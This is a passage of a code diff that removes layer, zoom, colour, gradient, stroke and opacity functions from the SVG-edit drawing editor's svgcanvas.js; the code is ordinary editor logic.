-
-// Function: createLayer
-// Creates a new top-level layer in the drawing with the given name, sets the current layer 
-// to it, and then clears the selection  This function then calls the 'changed' handler.
-// This is an undoable action.
-//
-// Parameters:
-// name - The given name
-this.createLayer = function(name) {
-	var batchCmd = new BatchCommand("Create Layer");
-	var new_layer = getCurrentDrawing().createLayer(name);
-	batchCmd.addSubCommand(new InsertElementCommand(new_layer));
-	addCommandToHistory(batchCmd);
-	clearSelection();
-	call("changed", [new_layer]);
-};
-
-// Function: cloneLayer
-// Creates a new top-level layer in the drawing with the given name, copies all the current layer's contents
-// to it, and then clears the selection  This function then calls the 'changed' handler.
-// This is an undoable action.
-//
-// Parameters:
-// name - The given name
-this.cloneLayer = function(name) {
-	var batchCmd = new BatchCommand("Duplicate Layer");
-	var new_layer = svgdoc.createElementNS(svgns, "g");
-	var layer_title = svgdoc.createElementNS(svgns, "title");
-	layer_title.textContent = name;
-	new_layer.appendChild(layer_title);
-	var current_layer = getCurrentDrawing().getCurrentLayer();
-	$(current_layer).after(new_layer);
-	var childs = current_layer.childNodes;
-	for(var i = 0; i < childs.length; i++) {
-		var ch = childs[i];
-		if(ch.localName == 'title') continue;
-		new_layer.appendChild(copyElem(ch));
-	}
-	
-	clearSelection();
-	identifyLayers();
-
-	batchCmd.addSubCommand(new InsertElementCommand(new_layer));
-	addCommandToHistory(batchCmd);
-	canvas.setCurrentLayer(name);
-	call("changed", [new_layer]);
-};
-
-// Function: deleteCurrentLayer
-// Deletes the current layer from the drawing and then clears the selection. This function 
-// then calls the 'changed' handler.  This is an undoable action.
-this.deleteCurrentLayer = function() {
-	var current_layer = getCurrentDrawing().getCurrentLayer();
-	var nextSibling = current_layer.nextSibling;
-	var parent = current_layer.parentNode;
-	current_layer = getCurrentDrawing().deleteCurrentLayer();
-	if (current_layer) {
-		var batchCmd = new BatchCommand("Delete Layer");
-		// store in our Undo History
-		batchCmd.addSubCommand(new RemoveElementCommand(current_layer, nextSibling, parent));
-		addCommandToHistory(batchCmd);
-		clearSelection();
-		call("changed", [parent]);
-		return true;
-	}
-	return false;
-};
-
-// Function: setCurrentLayer
-// Sets the current layer. If the name is not a valid layer name, then this function returns
-// false. Otherwise it returns true. This is not an undo-able action.
-//
-// Parameters:
-// name - the name of the layer you want to switch to.
-//
-// Returns:
-// true if the current layer was switched, otherwise false
-this.setCurrentLayer = function(name) {
-	var result = getCurrentDrawing().setCurrentLayer(svgedit.utilities.toXml(name));
-	if (result) {
-		clearSelection();
-	}
-	return result;
-};
-
-// Function: renameCurrentLayer
-// Renames the current layer. If the layer name is not valid (i.e. unique), then this function 
-// does nothing and returns false, otherwise it returns true. This is an undo-able action.
-// 
-// Parameters:
-// newname - the new name you want to give the current layer.  This name must be unique 
-// among all layer names.
-//
-// Returns:
-// true if the rename succeeded, false otherwise.
-this.renameCurrentLayer = function(newname) {
-	var drawing = getCurrentDrawing();
-	if (drawing.current_layer) {
-		var oldLayer = drawing.current_layer;
-		// setCurrentLayer will return false if the name doesn't already exist
-		// this means we are free to rename our oldLayer
-		if (!canvas.setCurrentLayer(newname)) {
-			var batchCmd = new BatchCommand("Rename Layer");
-			// find the index of the layer
-			for (var i = 0; i < drawing.getNumLayers(); ++i) {
-				if (drawing.all_layers[i][1] == oldLayer) break;
-			}
-			var oldname = drawing.getLayerName(i);
-			drawing.all_layers[i][0] = svgedit.utilities.toXml(newname);
-		
-			// now change the underlying title element contents
-			var len = oldLayer.childNodes.length;
-			for (var i = 0; i < len; ++i) {
-				var child = oldLayer.childNodes.item(i);
-				// found the <title> element, now append all the
-				if (child && child.tagName == "title") {
-					// wipe out old name 
-					while (child.firstChild) { child.removeChild(child.firstChild); }
-					child.textContent = newname;
-
-					batchCmd.addSubCommand(new ChangeElementCommand(child, {"#text":oldname}));
-					addCommandToHistory(batchCmd);
-					call("changed", [oldLayer]);
-					return true;
-				}
-			}
-		}
-		drawing.current_layer = oldLayer;
-	}
-	return false;
-};
-
-// Function: setCurrentLayerPosition
-// Changes the position of the current layer to the new value. If the new index is not valid, 
-// this function does nothing and returns false, otherwise it returns true. This is an
-// undo-able action.
-//
-// Parameters:
-// newpos - The zero-based index of the new position of the layer.  This should be between
-// 0 and (number of layers - 1)
-// 
-// Returns:
-// true if the current layer position was changed, false otherwise.
-this.setCurrentLayerPosition = function(newpos) {
-	var drawing = getCurrentDrawing();
-	if (drawing.current_layer && newpos >= 0 && newpos < drawing.getNumLayers()) {
-		for (var oldpos = 0; oldpos < drawing.getNumLayers(); ++oldpos) {
-			if (drawing.all_layers[oldpos][1] == drawing.current_layer) break;
-		}
-		// some unknown error condition (current_layer not in all_layers)
-		if (oldpos == drawing.getNumLayers()) { return false; }
-		
-		if (oldpos != newpos) {
-			// if our new position is below us, we need to insert before the node after newpos
-			var refLayer = null;
-			var oldNextSibling = drawing.current_layer.nextSibling;
-			if (newpos > oldpos ) {
-				if (newpos < drawing.getNumLayers()-1) {
-					refLayer = drawing.all_layers[newpos+1][1];
-				}
-			}
-			// if our new position is above us, we need to insert before the node at newpos
-			else {
-				refLayer = drawing.all_layers[newpos][1];
-			}
-			svgcontent.insertBefore(drawing.current_layer, refLayer);
-			addCommandToHistory(new MoveElementCommand(drawing.current_layer, oldNextSibling, svgcontent));
-			
-			identifyLayers();
-			canvas.setCurrentLayer(drawing.getLayerName(newpos));
-			
-			return true;
-		}
-	}
-	
-	return false;
-};
-
-// Function: setLayerVisibility
-// Sets the visibility of the layer. If the layer name is not valid, this function return 
-// false, otherwise it returns true. This is an undo-able action.
-//
-// Parameters:
-// layername - the name of the layer to change the visibility
-// bVisible - true/false, whether the layer should be visible
-//
-// Returns:
-// true if the layer's visibility was set, false otherwise
-this.setLayerVisibility = function(layername, bVisible) {
-	var drawing = getCurrentDrawing();
-	var prevVisibility = drawing.getLayerVisibility(layername);
-	var layer = drawing.setLayerVisibility(layername, bVisible);
-	if (layer) {
-		var oldDisplay = prevVisibility ? 'inline' : 'none';
-		addCommandToHistory(new ChangeElementCommand(layer, {'display':oldDisplay}, 'Layer Visibility'));
-	} else {
-		return false;
-	}
-	
-	if (layer == drawing.getCurrentLayer()) {
-		clearSelection();
-		pathActions.clear();
-	}
-//		call("changed", [selected]);	
-	return true;
-};
-
-// Function: moveSelectedToLayer
-// Moves the selected elements to layername. If the name is not a valid layer name, then false 
-// is returned.  Otherwise it returns true. This is an undo-able action.
-//
-// Parameters:
-// layername - the name of the layer you want to which you want to move the selected elements
-//
-// Returns:
-// true if the selected elements were moved to the layer, false otherwise.
-this.moveSelectedToLayer = function(layername) {
-	// find the layer
-	var layer = null;
-	var drawing = getCurrentDrawing();
-	for (var i = 0; i < drawing.getNumLayers(); ++i) {
-		if (drawing.getLayerName(i) == layername) {
-			layer = drawing.all_layers[i][1];
-			break;
-		}
-	}
-	if (!layer) return false;
-	
-	var batchCmd = new BatchCommand("Move Elements to Layer");
-	
-	// loop for each selected element and move it
-	var selElems = selectedElements;
-	var i = selElems.length;
-	while (i--) {
-		var elem = selElems[i];
-		if (!elem) continue;
-		var oldNextSibling = elem.nextSibling;
-		// TODO: this is pretty brittle!
-		var oldLayer = elem.parentNode;
-		layer.appendChild(elem);
-		batchCmd.addSubCommand(new MoveElementCommand(elem, oldNextSibling, oldLayer));
-	}
-	
-	addCommandToHistory(batchCmd);
-	
-	return true;
-};
-
-this.mergeLayer = function(skipHistory) {
-	var batchCmd = new BatchCommand("Merge Layer");
-	var drawing = getCurrentDrawing();
-	var prev = $(drawing.current_layer).prev()[0];
-	if(!prev) return;
-	var childs = drawing.current_layer.childNodes;
-	var len = childs.length;
-	var layerNextSibling = drawing.current_layer.nextSibling;
-	batchCmd.addSubCommand(new RemoveElementCommand(drawing.current_layer, layerNextSibling, svgcontent));
-
-	while(drawing.current_layer.firstChild) {
-		var ch = drawing.current_layer.firstChild;
-		if(ch.localName == 'title') {
-			var chNextSibling = ch.nextSibling;
-			batchCmd.addSubCommand(new RemoveElementCommand(ch, chNextSibling, drawing.current_layer));
-			drawing.current_layer.removeChild(ch);
-			continue;
-		}
-		var oldNextSibling = ch.nextSibling;
-		prev.appendChild(ch);
-		batchCmd.addSubCommand(new MoveElementCommand(ch, oldNextSibling, drawing.current_layer));
-	}
-	
-	// Remove current layer
-	svgcontent.removeChild(drawing.current_layer);
-	
-	if(!skipHistory) {
-		clearSelection();
-		identifyLayers();
-
-		call("changed", [svgcontent]);
-		
-		addCommandToHistory(batchCmd);
-	}
-	
-	drawing.current_layer = prev;
-	return batchCmd;
-}
-
-this.mergeAllLayers = function() {
-	var batchCmd = new BatchCommand("Merge all Layers");
-	var drawing = getCurrentDrawing();
-	drawing.current_layer = drawing.all_layers[drawing.getNumLayers()-1][1];
-	while($(svgcontent).children('g').length > 1) {
-		batchCmd.addSubCommand(canvas.mergeLayer(true));
-	}
-	
-	clearSelection();
-	identifyLayers();
-	call("changed", [svgcontent]);
-	addCommandToHistory(batchCmd);
-}
-
-// Function: leaveContext
-// Return from a group context to the regular kind, make any previously
-// disabled elements enabled again
-var leaveContext = this.leaveContext = function() {
-	var len = disabled_elems.length;
-	if(len) {
-		for(var i = 0; i < len; i++) {
-			var elem = disabled_elems[i];
-			
-			var orig = elData(elem, 'orig_opac');
-			if(orig !== 1) {
-				elem.setAttribute('opacity', orig);
-			} else {
-				elem.removeAttribute('opacity');
-			}
-			elem.setAttribute('style', 'pointer-events: inherit');
-		}
-		disabled_elems = [];
-		clearSelection(true);
-		call("contextset", null);
-	}
-	current_group = null;
-}
-
-// Function: setContext
-// Set the current context (for in-group editing)
-var setContext = this.setContext = function(elem) {
-	leaveContext();
-	if(typeof elem === 'string') {
-		elem = getElem(elem);
-	}
-
-	// Edit inside this group
-	current_group = elem;
-	
-	// Disable other elements
-	$(elem).parentsUntil('#svgcontent').andSelf().siblings().each(function() {
-		var opac = this.getAttribute('opacity') || 1;
-		// Store the original's opacity
-		elData(this, 'orig_opac', opac);
-		this.setAttribute('opacity', opac * .33);
-		this.setAttribute('style', 'pointer-events: none');
-		disabled_elems.push(this);
-	});
-
-	clearSelection();
-	call("contextset", current_group);
-}
-
-// Group: Document functions
-
-// Function: clear
-// Clears the current document.  This is not an undoable action.
-this.clear = function() {
-	pathActions.clear();
-
-	clearSelection();
-
-	// clear the svgcontent node
-	canvas.clearSvgContentElement();
-
-	// create new document
-	canvas.current_drawing_ = new svgedit.draw.Drawing(svgcontent);
-
-	// create empty first layer
-	canvas.createLayer("Layer 1");
-	
-	// clear the undo stack
-	canvas.undoMgr.resetUndoStack();
-
-	// reset the selector manager
-	selectorManager.initGroup();
-
-	// reset the rubber band box
-	rubberBox = selectorManager.getRubberBandBox();
-
-	call("cleared");
-};
-
-// Function: linkControlPoints
-// Alias function
-this.linkControlPoints = pathActions.linkControlPoints;
-
-// Function: getContentElem
-// Returns the content DOM element
-this.getContentElem = function() { return svgcontent; };
-
-// Function: getRootElem
-// Returns the root DOM element
-this.getRootElem = function() { return svgroot; };
-
-// Function: getSelectedElems
-// Returns the array with selected DOM elements
-this.getSelectedElems = function() { return selectedElements; };
-
-// Function: getResolution
-// Returns the current dimensions and zoom level in an object
-var getResolution = this.getResolution = function() {
-// 		var vb = svgcontent.getAttribute("viewBox").split(' ');
-// 		return {'w':vb[2], 'h':vb[3], 'zoom': current_zoom};
-	
-	var width = svgcontent.getAttribute("width")/current_zoom;
-	var height = svgcontent.getAttribute("height")/current_zoom;
-	
-	return {
-		'w': width,
-		'h': height,
-		'zoom': current_zoom
-	};
-};
-
-// Function: getZoom
-// Returns the current zoom level
-this.getZoom = function(){return current_zoom;};
-
-// Function: getVersion
-// Returns a string which describes the revision number of SvgCanvas.
-this.getVersion = function() {
-	return "svgcanvas.js ($Rev: 2047 $)";
-};
-
-// Function: setUiStrings
-// Update interface strings with given values
-//
-// Parameters:
-// strs - Object with strings (see uiStrings for examples)
-this.setUiStrings = function(strs) {
-	$.extend(uiStrings, strs.notification);
-}
-
-// Function: setConfig
-// Update configuration options with given values
-//
-// Parameters:
-// opts - Object with options (see curConfig for examples)
-this.setConfig = function(opts) {
-	$.extend(curConfig, opts);
-}
-
-// Function: getTitle
-// Returns the current group/SVG's title contents
-this.getTitle = function(elem) {
-	elem = elem || selectedElements[0];
-	if(!elem) return;
-	elem = $(elem).data('gsvg') || $(elem).data('symbol') || elem;
-	var childs = elem.childNodes;
-	for (var i=0; i<childs.length; i++) {
-		if(childs[i].nodeName == 'title') {
-			return childs[i].textContent;
-		}
-	}
-	return '';
-}
-
-// Function: setGroupTitle
-// Sets the group/SVG's title content
-// TODO: Combine this with setDocumentTitle
-this.setGroupTitle = function(val) {
-	var elem = selectedElements[0];
-	elem = $(elem).data('gsvg') || elem;
-	
-	var ts = $(elem).children('title');
-	
-	var batchCmd = new BatchCommand("Set Label");
-	
-	if(!val.length) {
-		// Remove title element
-		var tsNextSibling = ts.nextSibling;
-		batchCmd.addSubCommand(new RemoveElementCommand(ts[0], tsNextSibling, elem));
-		ts.remove();
-	} else if(ts.length) {
-		// Change title contents
-		var title = ts[0];
-		batchCmd.addSubCommand(new ChangeElementCommand(title, {'#text': title.textContent}));
-		title.textContent = val;
-	} else {
-		// Add title element
-		title = svgdoc.createElementNS(svgns, "title");
-		title.textContent = val;
-		$(elem).prepend(title);
-		batchCmd.addSubCommand(new InsertElementCommand(title));
-	}
-
-	addCommandToHistory(batchCmd);
-}
-
-// Function: getDocumentTitle
-// Returns the current document title or an empty string if not found
-this.getDocumentTitle = function() {
-	return canvas.getTitle(svgcontent);
-}
-
-// Function: setDocumentTitle
-// Adds/updates a title element for the document with the given name.
-// This is an undoable action
-//
-// Parameters:
-// newtitle - String with the new title
-this.setDocumentTitle = function(newtitle) {
-	var childs = svgcontent.childNodes, doc_title = false, old_title = '';
-	
-	var batchCmd = new BatchCommand("Change Image Title");
-	
-	for (var i=0; i<childs.length; i++) {
-		if(childs[i].nodeName == 'title') {
-			doc_title = childs[i];
-			old_title = doc_title.textContent;
-			break;
-		}
-	}
-	if(!doc_title) {
-		doc_title = svgdoc.createElementNS(svgns, "title");
-		svgcontent.insertBefore(doc_title, svgcontent.firstChild);
-	} 
-	
-	if(newtitle.length) {
-		doc_title.textContent = newtitle;
-	} else {
-		// No title given, so element is not necessary
-		doc_title.parentNode.removeChild(doc_title);
-	}
-	batchCmd.addSubCommand(new ChangeElementCommand(doc_title, {'#text': old_title}));
-	addCommandToHistory(batchCmd);
-}
-
-// Function: getEditorNS
-// Returns the editor's namespace URL, optionally adds it to root element
-//
-// Parameters:
-// add - Boolean to indicate whether or not to add the namespace value
-this.getEditorNS = function(add) {
-	if(add) {
-		svgcontent.setAttribute('xmlns:se', se_ns);
-	}
-	return se_ns;
-}
-
-// Function: setResolution
-// Changes the document's dimensions to the given size
-//
-// Parameters: 
-// x - Number with the width of the new dimensions in user units. 
-// Can also be the string "fit" to indicate "fit to content"
-// y - Number with the height of the new dimensions in user units. 
-//
-// Returns:
-// Boolean to indicate if resolution change was succesful. 
-// It will fail on "fit to content" option with no content to fit to.
-this.setResolution = function(x, y) {
-	var res = getResolution();
-	var w = res.w, h = res.h;
-	var batchCmd;
-
-	if(x == 'fit') {
-		// Get bounding box
-		var bbox = getStrokedBBox();
-		
-		if(bbox) {
-			batchCmd = new BatchCommand("Fit Canvas to Content");
-			var visEls = getVisibleElements();
-			addToSelection(visEls);
-			var dx = [], dy = [];
-			$.each(visEls, function(i, item) {
-				dx.push(bbox.x*-1);
-				dy.push(bbox.y*-1);
-			});
-			
-			var cmd = canvas.moveSelectedElements(dx, dy, true);
-			batchCmd.addSubCommand(cmd);
-			clearSelection();
-			
-			x = Math.round(bbox.width);
-			y = Math.round(bbox.height);
-		} else {
-			return false;
-		}
-	}
-	if (x != w || y != h) {
-		var handle = svgroot.suspendRedraw(1000);
-		if(!batchCmd) {
-			batchCmd = new BatchCommand("Change Image Dimensions");
-		}
-
-		x = convertToNum('width', x);
-		y = convertToNum('height', y);
-		
-		svgcontent.setAttribute('width', x);
-		svgcontent.setAttribute('height', y);
-		
-		this.contentW = x;
-		this.contentH = y;
-		batchCmd.addSubCommand(new ChangeElementCommand(svgcontent, {"width":w, "height":h}));
-
-		svgcontent.setAttribute("viewBox", [0, 0, x/current_zoom, y/current_zoom].join(' '));
-		batchCmd.addSubCommand(new ChangeElementCommand(svgcontent, {"viewBox": ["0 0", w, h].join(' ')}));
-	
-		addCommandToHistory(batchCmd);
-		svgroot.unsuspendRedraw(handle);
-		call("changed", [svgcontent]);
-	}
-	return true;
-};
-
-// Function: getOffset
-// Returns an object with x, y values indicating the svgcontent element's
-// position in the editor's canvas.
-this.getOffset = function() {
-	return $(svgcontent).attr(['x', 'y']);
-}
-
-// Function: setBBoxZoom
-// Sets the zoom level on the canvas-side based on the given value
-// 
-// Parameters:
-// val - Bounding box object to zoom to or string indicating zoom option 
-// editor_w - Integer with the editor's workarea box's width
-// editor_h - Integer with the editor's workarea box's height
-this.setBBoxZoom = function(val, editor_w, editor_h) {
-	var spacer = .85;
-	var bb;
-	var calcZoom = function(bb) {
-		if(!bb) return false;
-		var w_zoom = Math.round((editor_w / bb.width)*100 * spacer)/100;
-		var h_zoom = Math.round((editor_h / bb.height)*100 * spacer)/100;	
-		var zoomlevel = Math.min(w_zoom,h_zoom);
-		canvas.setZoom(zoomlevel);
-		return {'zoom': zoomlevel, 'bbox': bb};
-	}
-	
-	if(typeof val == 'object') {
-		bb = val;
-		if(bb.width == 0 || bb.height == 0) {
-			var newzoom = bb.zoom?bb.zoom:current_zoom * bb.factor;
-			canvas.setZoom(newzoom);
-			return {'zoom': current_zoom, 'bbox': bb};
-		}
-		return calcZoom(bb);
-	}
-
-	switch (val) {
-		case 'selection':
-			if(!selectedElements[0]) return;
-			var sel_elems = $.map(selectedElements, function(n){ if(n) return n; });
-			bb = getStrokedBBox(sel_elems);
-			break;
-		case 'canvas':
-			var res = getResolution();
-			spacer = .95;
-			bb = {width:res.w, height:res.h ,x:0, y:0};
-			break;
-		case 'content':
-			bb = getStrokedBBox();
-			break;
-		case 'layer':
-			bb = getStrokedBBox(getVisibleElements(getCurrentDrawing().getCurrentLayer()));
-			break;
-		default:
-			return;
-	}
-	return calcZoom(bb);
-}
-
-// Function: setZoom
-// Sets the zoom to the given level
-//
-// Parameters:
-// zoomlevel - Float indicating the zoom level to change to
-this.setZoom = function(zoomlevel) {
-	var res = getResolution();
-	svgcontent.setAttribute("viewBox", "0 0 " + res.w/zoomlevel + " " + res.h/zoomlevel);
-	current_zoom = zoomlevel;
-	$.each(selectedElements, function(i, elem) {
-		if(!elem) return;
-		selectorManager.requestSelector(elem).resize();
-	});
-	pathActions.zoomChange();
-	runExtensions("zoomChanged", zoomlevel);
-}
-
-// Function: getMode
-// Returns the current editor mode string
-this.getMode = function() {
-	return current_mode;
-};
-
-// Function: setMode
-// Sets the editor's mode to the given string
-//
-// Parameters:
-// name - String with the new mode to change to
-this.setMode = function(name) {
-	pathActions.clear(true);
-	textActions.clear();
-	cur_properties = (selectedElements[0] && selectedElements[0].nodeName == 'text') ? cur_text : cur_shape;
-	current_mode = name;
-};
-
-// Group: Element Styling
-
-// Function: getColor
-// Returns the current fill/stroke option
-this.getColor = function(type) {
-	return cur_properties[type];
-};
-
-// Function: setColor
-// Change the current stroke/fill color/gradient value
-// 
-// Parameters:
-// type - String indicating fill or stroke
-// val - The value to set the stroke attribute to
-// preventUndo - Boolean indicating whether or not this should be and undoable option
-this.setColor = function(type, val, preventUndo) {
-	cur_shape[type] = val;
-	cur_properties[type + '_paint'] = {type:"solidColor"};
-	var elems = [];
-	var i = selectedElements.length;
-	while (i--) {
-		var elem = selectedElements[i];
-		if (elem) {
-			if (elem.tagName == "g")
-				svgedit.utilities.walkTree(elem, function(e){if(e.nodeName!="g") elems.push(e);});
-			else {
-				if(type == 'fill') {
-					if(elem.tagName != "polyline" && elem.tagName != "line") {
-						elems.push(elem);
-					}
-				} else {
-					elems.push(elem);
-				}
-			}
-		}
-	}
-	if (elems.length > 0) {
-		if (!preventUndo) {
-			changeSelectedAttribute(type, val, elems);
-			call("changed", elems);
-		} else 
-			changeSelectedAttributeNoUndo(type, val, elems);
-	}
-}
-
-
-// Function: findDefs
-// Return the document's <defs> element, create it first if necessary
-var findDefs = function() {
-	var defs = svgcontent.getElementsByTagNameNS(svgns, "defs");
-	if (defs.length > 0) {
-		defs = defs[0];
-	}
-	else {
-		defs = svgdoc.createElementNS(svgns, "defs" );
-		if(svgcontent.firstChild) {
-			// first child is a comment, so call nextSibling
-			svgcontent.insertBefore( defs, svgcontent.firstChild.nextSibling);
-		} else {
-			svgcontent.appendChild(defs);
-		}
-	}
-	return defs;
-};
-
-// Function: setGradient
-// Apply the current gradient to selected element's fill or stroke
-//
-// Parameters
-// type - String indicating "fill" or "stroke" to apply to an element
-var setGradient = this.setGradient = function(type) {
-	if(!cur_properties[type + '_paint'] || cur_properties[type + '_paint'].type == "solidColor") return;
-	var grad = canvas[type + 'Grad'];
-	// find out if there is a duplicate gradient already in the defs
-	var duplicate_grad = findDuplicateGradient(grad);
-	var defs = findDefs();
-	// no duplicate found, so import gradient into defs
-	if (!duplicate_grad) {
-		var orig_grad = grad;
-		grad = defs.appendChild( svgdoc.importNode(grad, true) );
-		// get next id and set it on the grad
-		grad.id = getNextId();
-	}
-	else { // use existing gradient
-		grad = duplicate_grad;
-	}
-	canvas.setColor(type, "url(#" + grad.id + ")");
-}
-
-// Function: findDuplicateGradient
-// Check if exact gradient already exists
-//
-// Parameters:
-// grad - The gradient DOM element to compare to others
-//
-// Returns:
-// The existing gradient if found, null if not
-var findDuplicateGradient = function(grad) {
-	var defs = findDefs();
-	var existing_grads = $(defs).find("linearGradient, radialGradient");
-	var i = existing_grads.length;
-	var rad_attrs = ['r','cx','cy','fx','fy'];
-	while (i--) {
-		var og = existing_grads[i];
-		if(grad.tagName == "linearGradient") {
-			if (grad.getAttribute('x1') != og.getAttribute('x1') ||
-				grad.getAttribute('y1') != og.getAttribute('y1') ||
-				grad.getAttribute('x2') != og.getAttribute('x2') ||
-				grad.getAttribute('y2') != og.getAttribute('y2')) 
-			{
-				continue;
-			}
-		} else {
-			var grad_attrs = $(grad).attr(rad_attrs);
-			var og_attrs = $(og).attr(rad_attrs);
-			
-			var diff = false;
-			$.each(rad_attrs, function(i, attr) {
-				if(grad_attrs[attr] != og_attrs[attr]) diff = true;
-			});
-			
-			if(diff) continue;
-		}
-		
-		// else could be a duplicate, iterate through stops
-		var stops = grad.getElementsByTagNameNS(svgns, "stop");
-		var ostops = og.getElementsByTagNameNS(svgns, "stop");
-
-		if (stops.length != ostops.length) {
-			continue;
-		}
-
-		var j = stops.length;
-		while(j--) {
-			var stop = stops[j];
-			var ostop = ostops[j];
-
-			if (stop.getAttribute('offset') != ostop.getAttribute('offset') ||
-				stop.getAttribute('stop-opacity') != ostop.getAttribute('stop-opacity') ||
-				stop.getAttribute('stop-color') != ostop.getAttribute('stop-color')) 
-			{
-				break;
-			}
-		}
-
-		if (j == -1) {
-			return og;
-		}
-	} // for each gradient in defs
-
-	return null;
-};
-
-function reorientGrads(elem, m) {
-	var bb = svgedit.utilities.getBBox(elem);
-	for(var i = 0; i < 2; i++) {
-		var type = i === 0 ? 'fill' : 'stroke';
-		var attrVal = elem.getAttribute(type);
-		if(attrVal && attrVal.indexOf('url(') === 0) {
-			var grad = getRefElem(attrVal);
-			if(grad.tagName === 'linearGradient') {
-				var x1 = grad.getAttribute('x1') || 0;
-				var y1 = grad.getAttribute('y1') || 0;
-				var x2 = grad.getAttribute('x2') || 1;
-				var y2 = grad.getAttribute('y2') || 0;
-				
-				// Convert to USOU points
-				x1 = (bb.width * x1) + bb.x;
-				y1 = (bb.height * y1) + bb.y;
-				x2 = (bb.width * x2) + bb.x;
-				y2 = (bb.height * y2) + bb.y;
-			
-				// Transform those points
-				var pt1 = transformPoint(x1, y1, m);
-				var pt2 = transformPoint(x2, y2, m);
-				
-				// Convert back to BB points
-				var g_coords = {};
-				
-				g_coords.x1 = (pt1.x - bb.x) / bb.width;
-				g_coords.y1 = (pt1.y - bb.y) / bb.height;
-				g_coords.x2 = (pt2.x - bb.x) / bb.width;
-				g_coords.y2 = (pt2.y - bb.y) / bb.height;
-		
-				var newgrad = grad.cloneNode(true);
-				$(newgrad).attr(g_coords);
-	
-				newgrad.id = getNextId();
-				findDefs().appendChild(newgrad);
-				elem.setAttribute(type, 'url(#' + newgrad.id + ')');
-			}
-		}
-	}
-}
-
-// Function: setPaint
-// Set a color/gradient to a fill/stroke
-//
-// Parameters: 
-// type - String with "fill" or "stroke"
-// paint - The jGraduate paint object to apply
-this.setPaint = function(type, paint) {
-	// make a copy
-	var p = new $.jGraduate.Paint(paint);
-	this.setPaintOpacity(type, p.alpha/100, true);
-
-	// now set the current paint object
-	cur_properties[type + '_paint'] = p;
-	switch ( p.type ) {
-		case "solidColor":
-			this.setColor(type, p.solidColor != "none" ? "#"+p.solidColor : "none");;
-			break;
-		case "linearGradient":
-		case "radialGradient":
-			canvas[type + 'Grad'] = p[p.type];
-			setGradient(type);
-			break;
-		default:
-//			console.log("none!");
-	}
-};
-
-
-// this.setStrokePaint = function(p) {
-// 	// make a copy
-// 	var p = new $.jGraduate.Paint(p);
-// 	this.setStrokeOpacity(p.alpha/100);
-// 
-// 	// now set the current paint object
-// 	cur_properties.stroke_paint = p;
-// 	switch ( p.type ) {
-// 		case "solidColor":
-// 			this.setColor('stroke', p.solidColor != "none" ? "#"+p.solidColor : "none");;
-// 			break;
-// 		case "linearGradient"
-// 		case "radialGradient"
-// 			canvas.strokeGrad = p[p.type];
-// 			setGradient(type); 
-// 		default:
-// //			console.log("none!");
-// 	}
-// };
-// 
-// this.setFillPaint = function(p, addGrad) {
-// 	// make a copy
-// 	var p = new $.jGraduate.Paint(p);
-// 	this.setFillOpacity(p.alpha/100, true);
-// 
-// 	// now set the current paint object
-// 	cur_properties.fill_paint = p;
-// 	if (p.type == "solidColor") {
-// 		this.setColor('fill', p.solidColor != "none" ? "#"+p.solidColor : "none");
-// 	}
-// 	else if(p.type == "linearGradient") {
-// 		canvas.fillGrad = p.linearGradient;
-// 		if(addGrad) setGradient(); 
-// 	}
-// 	else if(p.type == "radialGradient") {
-// 		canvas.fillGrad = p.radialGradient;
-// 		if(addGrad) setGradient(); 
-// 	}
-// 	else {
-// //			console.log("none!");
-// 	}
-// };
-
-// Function: getStrokeWidth
-// Returns the current stroke-width value
-this.getStrokeWidth = function() {
-	return cur_properties.stroke_width;
-};
-
-// Function: setStrokeWidth
-// Sets the stroke width for the current selected elements
-// When attempting to set a line's width to 0, this changes it to 1 instead
-//
-// Parameters:
-// val - A Float indicating the new stroke width value
-this.setStrokeWidth = function(val) {
-	if(val == 0 && ['line', 'path'].indexOf(current_mode) >= 0) {
-		canvas.setStrokeWidth(1);
-		return;
-	}
-	cur_properties.stroke_width = val;
-	
-	var elems = [];
-	var i = selectedElements.length;
-	while (i--) {
-		var elem = selectedElements[i];
-		if (elem) {
-			if (elem.tagName == "g")
-				svgedit.utilities.walkTree(elem, function(e){if(e.nodeName!="g") elems.push(e);});
-			else 
-				elems.push(elem);
-		}
-	}		
-	if (elems.length > 0) {
-		changeSelectedAttribute("stroke-width", val, elems);
-		call("changed", selectedElements);
-	}
-};
-
-// Function: setStrokeAttr
-// Set the given stroke-related attribute the given value for selected elements
-//
-// Parameters:
-// attr - String with the attribute name
-// val - String or number with the attribute value
-this.setStrokeAttr = function(attr, val) {
-	cur_shape[attr.replace('-','_')] = val;
-	var elems = [];
-	var i = selectedElements.length;
-	while (i--) {
-		var elem = selectedElements[i];
-		if (elem) {
-			if (elem.tagName == "g")
-				svgedit.utilities.walkTree(elem, function(e){if(e.nodeName!="g") elems.push(e);});
-			else 
-				elems.push(elem);
-		}
-	}		
-	if (elems.length > 0) {
-		changeSelectedAttribute(attr, val, elems);
-		call("changed", selectedElements);
-	}
-};
-
-// Function: getStyle
-// Returns current style options
-this.getStyle = function() {
-	return cur_shape;
-}
-
-// Function: getOpacity
-// Returns the current opacity
-this.getOpacity = function() {
-	return cur_shape.opacity;
-};
-
-// Function: setOpacity
-// Sets the given opacity to the current selected elements
-this.setOpacity = function(val) {
-	cur_shape.opacity = val;
-	changeSelectedAttribute("opacity", val);
-};
-
-// Function: getOpacity
-// Returns the current fill opacity
-this.getFillOpacity = function() {
-	return cur_shape.fill_opacity;
-};
-
-// Function: getStrokeOpacity
-// Returns the current stroke opacity
-this.getStrokeOpacity = function() {
-	return cur_shape.stroke_opacity;
-};
-
-// Function: setPaintOpacity
-// Sets the current fill/stroke opacity
-//
-// Parameters:
-// type - String with "fill" or "stroke"
-// val - Float with the new opacity value
-// preventUndo - Boolean indicating whether or not this should be an undoable action
-this.setPaintOpacity = function(type, val, preventUndo) {
-	cur_shape[type + '_opacity'] = val;
-	if (!preventUndo)
-		changeSelectedAttribute(type + "-opacity", val);
-	else
-		changeSelectedAttributeNoUndo(type + "-opacity", val);
-};
-
-// Function: getBlur
-// Gets the stdDeviation blur value of the given element
-//
-// Parameters:
-// elem - The element to check the blur value for
-this.getBlur = function(elem) {
-	var val = 0;
-// 		var elem = selectedElements[0];
-	
-	if(elem) {
-		var filter_url = elem.getAttribute('filter');
-		if(filter_url) {
-			var blur = getElem(elem.id + '_blur');
-			if(blur) {
-				val = blur.firstChild.getAttribute('stdDeviation');
-			}
-		}
-	}
-	return val;
-};
-
-(function() {
-	var cur_command = null;
-	var filter = null;
-	var filterHidden = false;
-	
-	// Function: setBlurNoUndo
-	// Sets the stdDeviation blur value on the selected element without being undoable
-	//
-	// Parameters:
-	// val - The new stdDeviation value
-	canvas.setBlurNoUndo = function(val) {
-		if(!filter) {
